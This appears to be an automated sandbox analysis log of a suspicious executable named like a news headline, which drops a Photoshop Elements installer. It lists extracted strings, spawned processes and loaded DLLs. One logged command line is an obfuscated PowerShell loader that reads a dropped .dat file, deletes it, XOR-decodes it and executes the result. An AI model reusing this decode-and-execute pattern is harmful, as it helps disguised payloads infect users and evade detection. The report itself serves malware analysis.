Source: PhotoshopElements_2024_LS30_win64.exe, 0000000A.00000002.3743552926.00000000001D1000.00000040.00000001.01000000.00000008.sdmp, PhotoshopElements_2024_LS30_win64.exe, 0000000F.00000002.3743571059.00000000001D1000.00000040.00000001.01000000.00000008.sdmp	Binary or memory string: UPDATE %Q.sqlite_master SET tbl_name = %Q, name = CASE WHEN type='table' THEN %Q WHEN name LIKE 'sqliteX_autoindex%%' ESCAPE 'X' AND type='index' THEN 'sqlite_autoindex_' \|\| %Q \|\| substr(name,%d+18) ELSE name END WHERE tbl_name=%Q COLLATE nocase AND (type='table' OR type='index' OR type='trigger');
Source: PhotoshopElements_2024_LS30_win64.exe, PhotoshopElements_2024_LS30_win64.exe, 0000000F.00000002.3743571059.00000000001D1000.00000040.00000001.01000000.00000008.sdmp	Binary or memory string: UPDATE pcd_meta SET value = 2 WHERE key = 'schema_version';
Source: PhotoshopElements_2024_LS30_win64.exe, PhotoshopElements_2024_LS30_win64.exe, 0000000F.00000002.3743571059.00000000001D1000.00000040.00000001.01000000.00000008.sdmp	Binary or memory string: CREATE TABLE dependencies( PayloadID TEXT NOT NULL REFERENCES payloads(PayloadID) ON DELETE CASCADE, PayloadIDb TEXT NOT NULL, type INTEGER NOT NULL REFERENCES dependency_types(type), PRIMARY KEY (PayloadID, PayloadIDb) );
Source: PhotoshopElements_2024_LS30_win64.exe, PhotoshopElements_2024_LS30_win64.exe, 0000000F.00000002.3743571059.00000000001D1000.00000040.00000001.01000000.00000008.sdmp	Binary or memory string: CREATE TABLE payload_data ( PayloadID TEXT NOT NULL REFERENCES payloads (PayloadID), domain TEXT NOT NULL, key TEXT NOT NULL, value TEXT, PRIMARY KEY (PayloadID, domain, key) );
Source: PhotoshopElements_2024_LS30_win64.exe, PhotoshopElements_2024_LS30_win64.exe, 0000000F.00000002.3743571059.00000000001D1000.00000040.00000001.01000000.00000008.sdmp	Binary or memory string: CREATE TABLE Suites( ProductID TEXT NOT NULL, group_name TEXT NOT NULL, group_family TEXT NOT NULL, display_name TEXT NOT NULL, PRIMARY KEY (ProductID) );
Source: PhotoshopElements_2024_LS30_win64.exe, PhotoshopElements_2024_LS30_win64.exe, 0000000F.00000002.3743571059.00000000001D1000.00000040.00000001.01000000.00000008.sdmp	Binary or memory string: CREATE TABLE collection_data ( collectionID TEXT NOT NULL REFERENCES ribs_collection (collectionID), domain TEXT NOT NULL, key TEXT NOT NULL, value TEXT, PRIMARY KEY (collectionID, domain, key) );
Source: PhotoshopElements_2024_LS30_win64.exe, PhotoshopElements_2024_LS30_win64.exe, 0000000F.00000002.3743571059.00000000001D1000.00000040.00000001.01000000.00000008.sdmp	Binary or memory string: CREATE TABLE user_actions ( product_id TEXT NOT NULL, actor TEXT , time_action TEXT NOT NULL);
Source: PhotoshopElements_2024_LS30_win64.exe, PhotoshopElements_2024_LS30_win64.exe, 0000000F.00000002.3743571059.00000000001D1000.00000040.00000001.01000000.00000008.sdmp	Binary or memory string: INSERT OR REPLACE INTO pcd_meta (key, value) VALUES ('schema_version', 2);
Source: PhotoshopElements_2024_LS30_win64.exe, PhotoshopElements_2024_LS30_win64.exe, 0000000F.00000002.3743571059.00000000001D1000.00000040.00000001.01000000.00000008.sdmp	Binary or memory string: INSERT OR REPLACE INTO pcd_meta (key, value) VALUES ('schema_version', 3);
Source: PhotoshopElements_2024_LS30_win64.exe, PhotoshopElements_2024_LS30_win64.exe, 0000000F.00000002.3743571059.00000000001D1000.00000040.00000001.01000000.00000008.sdmp	Binary or memory string: CREATE TABLE PayloadData( PayloadID TEXT NOT NULL REFERENCES Payloads (PayloadID),domain TEXT NOT NULL,key TEXT NOT NULL,value TEXT NOT NULL,PRIMARY KEY (PayloadID, domain, key) );
Source: PhotoshopElements_2024_LS30_win64.exe, PhotoshopElements_2024_LS30_win64.exe, 0000000F.00000002.3743571059.00000000001D1000.00000040.00000001.01000000.00000008.sdmp	Binary or memory string: CREATE TABLE IF NOT EXISTS EULA_Version(eula_hash TEXT NOT NULL, Version TEXT NOT NULL, Reserved TEXT, PRIMARY KEY (eula_hash));
Source: PhotoshopElements_2024_LS30_win64.exe, 0000000A.00000002.3743552926.00000000001D1000.00000040.00000001.01000000.00000008.sdmp, PhotoshopElements_2024_LS30_win64.exe, 0000000F.00000002.3743571059.00000000001D1000.00000040.00000001.01000000.00000008.sdmp	Binary or memory string: UPDATE upgraded_payloads SET payloadIDUpgraded = (SELECT second_upgraded.payloadIDUpgraded FROM upgraded_payloads AS first_upgraded INNER JOIN upgraded_payloads AS second_upgraded ON first_upgraded.payloadIDUpgraded = second_upgraded.payloadIDOriginal WHERE upgraded_payloads.payloadIDOriginal = first_upgraded.payloadIDOriginal) WHERE payloadIDOriginal IN (SELECT first_upgraded.payloadIDOriginal FROM upgraded_payloads AS first_upgraded INNER JOIN upgraded_payloads AS second_upgraded ON first_upgraded.payloadIDUpgraded = second_upgraded.payloadIDOriginal);
Source: PhotoshopElements_2024_LS30_win64.exe, PhotoshopElements_2024_LS30_win64.exe, 0000000F.00000002.3743571059.00000000001D1000.00000040.00000001.01000000.00000008.sdmp	Binary or memory string: CREATE TABLE Payloads( PayloadID TEXT NOT NULL, payload_family TEXT NOT NULL,payload_name TEXT NOT NULL, payload_version TEXT NOT NULL,payload_type TEXT NOT NULL,PRIMARY KEY (PayloadID) );
Source: PhotoshopElements_2024_LS30_win64.exe, PhotoshopElements_2024_LS30_win64.exe, 0000000F.00000002.3743571059.00000000001D1000.00000040.00000001.01000000.00000008.sdmp	Binary or memory string: CREATE TABLE domain_data ( domain TEXT NOT NULL, subDomain TEXT NOT NULL, key TEXT NOT NULL, value TEXT, PRIMARY KEY (domain, subDomain, key) );
Source: PhotoshopElements_2024_LS30_win64.exe, PhotoshopElements_2024_LS30_win64.exe, 0000000F.00000002.3743571059.00000000001D1000.00000040.00000001.01000000.00000008.sdmp	Binary or memory string: CREATE TABLE IF NOT EXISTS EULA_Content(eula_hash TEXT NOT NULL, Content TEXT NOT NULL, PRIMARY KEY (eula_hash));

Source: PhotoshopElements_2024_LS30_win64.exe	String found in binary or memory: <CarouselType>GenericCarousel</CarouselType> <SkipAccLaunch>true</SkipAccLaunch> <LaunchProductDetail> <ProductInfo> <SAPCode>HPSE</SAPCode> <BaseVersion>24.0</BaseVersion> <Platform>win64</Platform> </ProductInfo> </LaunchP
Source: PhotoshopElements_2024_LS30_win64.exe	String found in binary or memory: <CarouselType>GenericCarousel</CarouselType> <SkipAccLaunch>true</SkipAccLaunch> <LaunchProductDetail> <ProductInfo> <SAPCode>HPSE</SAPCode> <BaseVersion>24.0</BaseVersion> <Platform>win64</Platform> </ProductInfo> </LaunchP
Source: Must-School-Districts-In-California-Offer-Free-Healthcare-For-Employees.exe	String found in binary or memory: /LOADINF="filename"

Source: C:\Users\user\Desktop\Must-School-Districts-In-California-Offer-Free-Healthcare-For-Employees.exe

File read: C:\Users\user\Desktop\Must-School-Districts-In-California-Offer-Free-Healthcare-For-Employees.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\Must-School-Districts-In-California-Offer-Free-Healthcare-For-Employees.exe "C:\Users\user\Desktop\Must-School-Districts-In-California-Offer-Free-Healthcare-For-Employees.exe"
Source: C:\Users\user\Desktop\Must-School-Districts-In-California-Offer-Free-Healthcare-For-Employees.exe	Process created: C:\Users\user\AppData\Local\Temp\is-35JO9.tmp\Must-School-Districts-In-California-Offer-Free-Healthcare-For-Employees.tmp "C:\Users\user~1\AppData\Local\Temp\is-35JO9.tmp\Must-School-Districts-In-California-Offer-Free-Healthcare-For-Employees.tmp" /SL5="$2042A,320672528,821248,C:\Users\user\Desktop\Must-School-Districts-In-California-Offer-Free-Healthcare-For-Employees.exe"
Source: C:\Users\user\AppData\Local\Temp\is-35JO9.tmp\Must-School-Districts-In-California-Offer-Free-Healthcare-For-Employees.tmp	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -COmMAnD "iEx([tEXT.enCODINg]::UTF8.gETsTriNg((({$F=[Io.FIlE]::ReADALLByTeS($ArGS[0]);(RM $argS[0]);ReTURn $f}.InVoKE('c:\uSERS\user~1\apPdatA\LoCaL\tEmP\Is-39DMu.TMp\..\26E22c944A289b4cDd81b4EA83E051ad.daT'))\|%{$_ -BxOr 'yXAwMfFaZxzDOHKgIEqrlQjtoJuBNSWc'[$K++%32]})))"
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\is-35JO9.tmp\Must-School-Districts-In-California-Offer-Free-Healthcare-For-Employees.tmp	Process created: C:\Users\user\AppData\Local\Temp\is-39DMU.tmp\PhotoshopElements_2024_LS30_win64.exe "C:\Users\user~1\AppData\Local\Temp\is-39DMU.tmp\PhotoshopElements_2024_LS30_win64.exe"
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Users\user\AppData\Local\Temp\is-39DMU.tmp\PhotoshopElements_2024_LS30_win64.exe	Process created: C:\Users\user\AppData\Local\Temp\is-39DMU.tmp\PhotoshopElements_2024_LS30_win64.exe "C:\Users\user~1\AppData\Local\Temp\is-39DMU.tmp\PhotoshopElements_2024_LS30_win64.exe" --pipename={6701CC87-BE79-4714-84C1-CDD879D9C7E0} --edtWorkFlow=1
Source: C:\Users\user\AppData\Local\Temp\is-39DMU.tmp\PhotoshopElements_2024_LS30_win64.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument https://ims-na1.adobelogin.com/ims/authorize?client_id=CC_HD_ESD_WEB&scope=allow_ac_dt_exchange%2Copenid%2CAdobeID%2Ccreative_cloud%2Ccreative_sdk%2Cread_organizations%2Csao.cce_private%2Cadditional_info.account_type&locale=en_US&redirect_uri=https%3A%2F%2Fauth.services.adobe.com%2Fen_US%2Fdeeplink.html%3Fdelegated_request_id%3D8b59eed4-a4c2-4d7f-a8ea-ab95b58f0a24%26client_id%3DCC_HD_ESD_WEB%26deeplink%3Ddelegation
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2156 --field-trial-handle=1916,i,13664864779448031188,2924605641930340072,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=audio.mojom.AudioService --lang=en-US --service-sandbox-type=audio --mojo-platform-channel-handle=4124 --field-trial-handle=1916,i,13664864779448031188,2924605641930340072,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=video_capture.mojom.VideoCaptureService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5524 --field-trial-handle=1916,i,13664864779448031188,2924605641930340072,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: C:\Users\user\Desktop\Must-School-Districts-In-California-Offer-Free-Healthcare-For-Employees.exe	Process created: C:\Users\user\AppData\Local\Temp\is-35JO9.tmp\Must-School-Districts-In-California-Offer-Free-Healthcare-For-Employees.tmp "C:\Users\user~1\AppData\Local\Temp\is-35JO9.tmp\Must-School-Districts-In-California-Offer-Free-Healthcare-For-Employees.tmp" /SL5="$2042A,320672528,821248,C:\Users\user\Desktop\Must-School-Districts-In-California-Offer-Free-Healthcare-For-Employees.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-35JO9.tmp\Must-School-Districts-In-California-Offer-Free-Healthcare-For-Employees.tmp	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -COmMAnD "iEx([tEXT.enCODINg]::UTF8.gETsTriNg((({$F=[Io.FIlE]::ReADALLByTeS($ArGS[0]);(RM $argS[0]);ReTURn $f}.InVoKE('c:\uSERS\user~1\apPdatA\LoCaL\tEmP\Is-39DMu.TMp\..\26E22c944A289b4cDd81b4EA83E051ad.daT'))\|%{$_ -BxOr 'yXAwMfFaZxzDOHKgIEqrlQjtoJuBNSWc'[$K++%32]})))"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-35JO9.tmp\Must-School-Districts-In-California-Offer-Free-Healthcare-For-Employees.tmp	Process created: C:\Users\user\AppData\Local\Temp\is-39DMU.tmp\PhotoshopElements_2024_LS30_win64.exe "C:\Users\user~1\AppData\Local\Temp\is-39DMU.tmp\PhotoshopElements_2024_LS30_win64.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-39DMU.tmp\PhotoshopElements_2024_LS30_win64.exe	Process created: C:\Users\user\AppData\Local\Temp\is-39DMU.tmp\PhotoshopElements_2024_LS30_win64.exe "C:\Users\user~1\AppData\Local\Temp\is-39DMU.tmp\PhotoshopElements_2024_LS30_win64.exe" --pipename={6701CC87-BE79-4714-84C1-CDD879D9C7E0} --edtWorkFlow=1
Source: C:\Users\user\AppData\Local\Temp\is-39DMU.tmp\PhotoshopElements_2024_LS30_win64.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument https://ims-na1.adobelogin.com/ims/authorize?client_id=CC_HD_ESD_WEB&scope=allow_ac_dt_exchange%2Copenid%2CAdobeID%2Ccreative_cloud%2Ccreative_sdk%2Cread_organizations%2Csao.cce_private%2Cadditional_info.account_type&locale=en_US&redirect_uri=https%3A%2F%2Fauth.services.adobe.com%2Fen_US%2Fdeeplink.html%3Fdelegated_request_id%3D8b59eed4-a4c2-4d7f-a8ea-ab95b58f0a24%26client_id%3DCC_HD_ESD_WEB%26deeplink%3Ddelegation
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2156 --field-trial-handle=1916,i,13664864779448031188,2924605641930340072,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=audio.mojom.AudioService --lang=en-US --service-sandbox-type=audio --mojo-platform-channel-handle=4124 --field-trial-handle=1916,i,13664864779448031188,2924605641930340072,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=video_capture.mojom.VideoCaptureService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5524 --field-trial-handle=1916,i,13664864779448031188,2924605641930340072,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown

Source: C:\Users\user\Desktop\Must-School-Districts-In-California-Offer-Free-Healthcare-For-Employees.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\Must-School-Districts-In-California-Offer-Free-Healthcare-For-Employees.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Users\user\Desktop\Must-School-Districts-In-California-Offer-Free-Healthcare-For-Employees.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\Must-School-Districts-In-California-Offer-Free-Healthcare-For-Employees.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\Must-School-Districts-In-California-Offer-Free-Healthcare-For-Employees.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-35JO9.tmp\Must-School-Districts-In-California-Offer-Free-Healthcare-For-Employees.tmp	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-35JO9.tmp\Must-School-Districts-In-California-Offer-Free-Healthcare-For-Employees.tmp	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-35JO9.tmp\Must-School-Districts-In-California-Offer-Free-Healthcare-For-Employees.tmp	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-35JO9.tmp\Must-School-Districts-In-California-Offer-Free-Healthcare-For-Employees.tmp	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-35JO9.tmp\Must-School-Districts-In-California-Offer-Free-Healthcare-For-Employees.tmp	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-35JO9.tmp\Must-School-Districts-In-California-Offer-Free-Healthcare-For-Employees.tmp	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-35JO9.tmp\Must-School-Districts-In-California-Offer-Free-Healthcare-For-Employees.tmp	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-35JO9.tmp\Must-School-Districts-In-California-Offer-Free-Healthcare-For-Employees.tmp	Section loaded: wtsapi32.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-35JO9.tmp\Must-School-Districts-In-California-Offer-Free-Healthcare-For-Employees.tmp	Section loaded: winsta.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-35JO9.tmp\Must-School-Districts-In-California-Offer-Free-Healthcare-For-Employees.tmp	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-35JO9.tmp\Must-School-Districts-In-California-Offer-Free-Healthcare-For-Employees.tmp	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-35JO9.tmp\Must-School-Districts-In-California-Offer-Free-Healthcare-For-Employees.tmp	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-35JO9.tmp\Must-School-Districts-In-California-Offer-Free-Healthcare-For-Employees.tmp	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-35JO9.tmp\Must-School-Districts-In-California-Offer-Free-Healthcare-For-Employees.tmp	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-35JO9.tmp\Must-School-Districts-In-California-Offer-Free-Healthcare-For-Employees.tmp	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-35JO9.tmp\Must-School-Districts-In-California-Offer-Free-Healthcare-For-Employees.tmp	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-35JO9.tmp\Must-School-Districts-In-California-Offer-Free-Healthcare-For-Employees.tmp	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-35JO9.tmp\Must-School-Districts-In-California-Offer-Free-Healthcare-For-Employees.tmp	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-35JO9.tmp\Must-School-Districts-In-California-Offer-Free-Healthcare-For-Employees.tmp	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-35JO9.tmp\Must-School-Districts-In-California-Offer-Free-Healthcare-For-Employees.tmp	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-35JO9.tmp\Must-School-Districts-In-California-Offer-Free-Healthcare-For-Employees.tmp	Section loaded: shfolder.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-35JO9.tmp\Must-School-Districts-In-California-Offer-Free-Healthcare-For-Employees.tmp	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-35JO9.tmp\Must-School-Districts-In-California-Offer-Free-Healthcare-For-Employees.tmp	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-35JO9.tmp\Must-School-Districts-In-California-Offer-Free-Healthcare-For-Employees.tmp	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-35JO9.tmp\Must-School-Districts-In-California-Offer-Free-Healthcare-For-Employees.tmp	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-35JO9.tmp\Must-School-Districts-In-California-Offer-Free-Healthcare-For-Employees.tmp	Section loaded: dwmapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-35JO9.tmp\Must-School-Districts-In-California-Offer-Free-Healthcare-For-Employees.tmp	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-35JO9.tmp\Must-School-Districts-In-California-Offer-Free-Healthcare-For-Employees.tmp	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-35JO9.tmp\Must-School-Districts-In-California-Offer-Free-Healthcare-For-Employees.tmp	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-35JO9.tmp\Must-School-Districts-In-California-Offer-Free-Healthcare-For-Employees.tmp	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-35JO9.tmp\Must-School-Districts-In-California-Offer-Free-Healthcare-For-Employees.tmp	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-35JO9.tmp\Must-School-Districts-In-California-Offer-Free-Healthcare-For-Employees.tmp	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-35JO9.tmp\Must-School-Districts-In-California-Offer-Free-Healthcare-For-Employees.tmp	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-35JO9.tmp\Must-School-Districts-In-California-Offer-Free-Healthcare-For-Employees.tmp	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-35JO9.tmp\Must-School-Districts-In-California-Offer-Free-Healthcare-For-Employees.tmp	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-35JO9.tmp\Must-School-Districts-In-California-Offer-Free-Healthcare-For-Employees.tmp	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-35JO9.tmp\Must-School-Districts-In-California-Offer-Free-Healthcare-For-Employees.tmp	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-35JO9.tmp\Must-School-Districts-In-California-Offer-Free-Healthcare-For-Employees.tmp	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-35JO9.tmp\Must-School-Districts-In-California-Offer-Free-Healthcare-For-Employees.tmp	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-35JO9.tmp\Must-School-Districts-In-California-Offer-Free-Healthcare-For-Employees.tmp	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-35JO9.tmp\Must-School-Districts-In-California-Offer-Free-Healthcare-For-Employees.tmp	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-39DMU.tmp\PhotoshopElements_2024_LS30_win64.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\is-39DMU.tmp\PhotoshopElements_2024_LS30_win64.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\is-39DMU.tmp\PhotoshopElements_2024_LS30_win64.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\is-39DMU.tmp\PhotoshopElements_2024_LS30_win64.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\is-39DMU.tmp\PhotoshopElements_2024_LS30_win64.exe	Section loaded: msxml3.dll
Source: C:\Users\user\AppData\Local\Temp\is-39DMU.tmp\PhotoshopElements_2024_LS30_win64.exe	Section loaded: msasn1.dll
Source: C:\Users\user\AppData\Local\Temp\is-39DMU.tmp\PhotoshopElements_2024_LS30_win64.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\Temp\is-39DMU.tmp\PhotoshopElements_2024_LS30_win64.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Local\Temp\is-39DMU.tmp\PhotoshopElements_2024_LS30_win64.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\is-39DMU.tmp\PhotoshopElements_2024_LS30_win64.exe	Section loaded: gpapi.dll
Source: C:\Users\user\AppData\Local\Temp\is-39DMU.tmp\PhotoshopElements_2024_LS30_win64.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\is-39DMU.tmp\PhotoshopElements_2024_LS30_win64.exe	Section loaded: secur32.dll
Source: C:\Users\user\AppData\Local\Temp\is-39DMU.tmp\PhotoshopElements_2024_LS30_win64.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\is-39DMU.tmp\PhotoshopElements_2024_LS30_win64.exe	Section loaded: wbemcomn.dll
Source: C:\Users\user\AppData\Local\Temp\is-39DMU.tmp\PhotoshopElements_2024_LS30_win64.exe	Section loaded: amsi.dll
Source: C:\Users\user\AppData\Local\Temp\is-39DMU.tmp\PhotoshopElements_2024_LS30_win64.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\is-39DMU.tmp\PhotoshopElements_2024_LS30_win64.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\is-39DMU.tmp\PhotoshopElements_2024_LS30_win64.exe	Section loaded: explorerframe.dll
Source: C:\Users\user\AppData\Local\Temp\is-39DMU.tmp\PhotoshopElements_2024_LS30_win64.exe	Section loaded: ntmarta.dll
Source: C:\Users\user\AppData\Local\Temp\is-39DMU.tmp\PhotoshopElements_2024_LS30_win64.exe	Section loaded: textinputframework.dll
Source: C:\Users\user\AppData\Local\Temp\is-39DMU.tmp\PhotoshopElements_2024_LS30_win64.exe	Section loaded: coreuicomponents.dll
Source: C:\Users\user\AppData\Local\Temp\is-39DMU.tmp\PhotoshopElements_2024_LS30_win64.exe	Section loaded: coremessaging.dll
Source: C:\Users\user\AppData\Local\Temp\is-39DMU.tmp\PhotoshopElements_2024_LS30_win64.exe	Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Local\Temp\is-39DMU.tmp\PhotoshopElements_2024_LS30_win64.exe	Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Local\Temp\is-39DMU.tmp\PhotoshopElements_2024_LS30_win64.exe	Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Local\Temp\is-39DMU.tmp\PhotoshopElements_2024_LS30_win64.exe	Section loaded: atlthunk.dll
Source: C:\Users\user\AppData\Local\Temp\is-39DMU.tmp\PhotoshopElements_2024_LS30_win64.exe	Section loaded: ieframe.dll
Source: C:\Users\user\AppData\Local\Temp\is-39DMU.tmp\PhotoshopElements_2024_LS30_win64.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\is-39DMU.tmp\PhotoshopElements_2024_LS30_win64.exe	Section loaded: netapi32.dll
Source: C:\Users\user\AppData\Local\Temp\is-39DMU.tmp\PhotoshopElements_2024_LS30_win64.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\is-39DMU.tmp\PhotoshopElements_2024_LS30_win64.exe	Section loaded: wkscli.dll
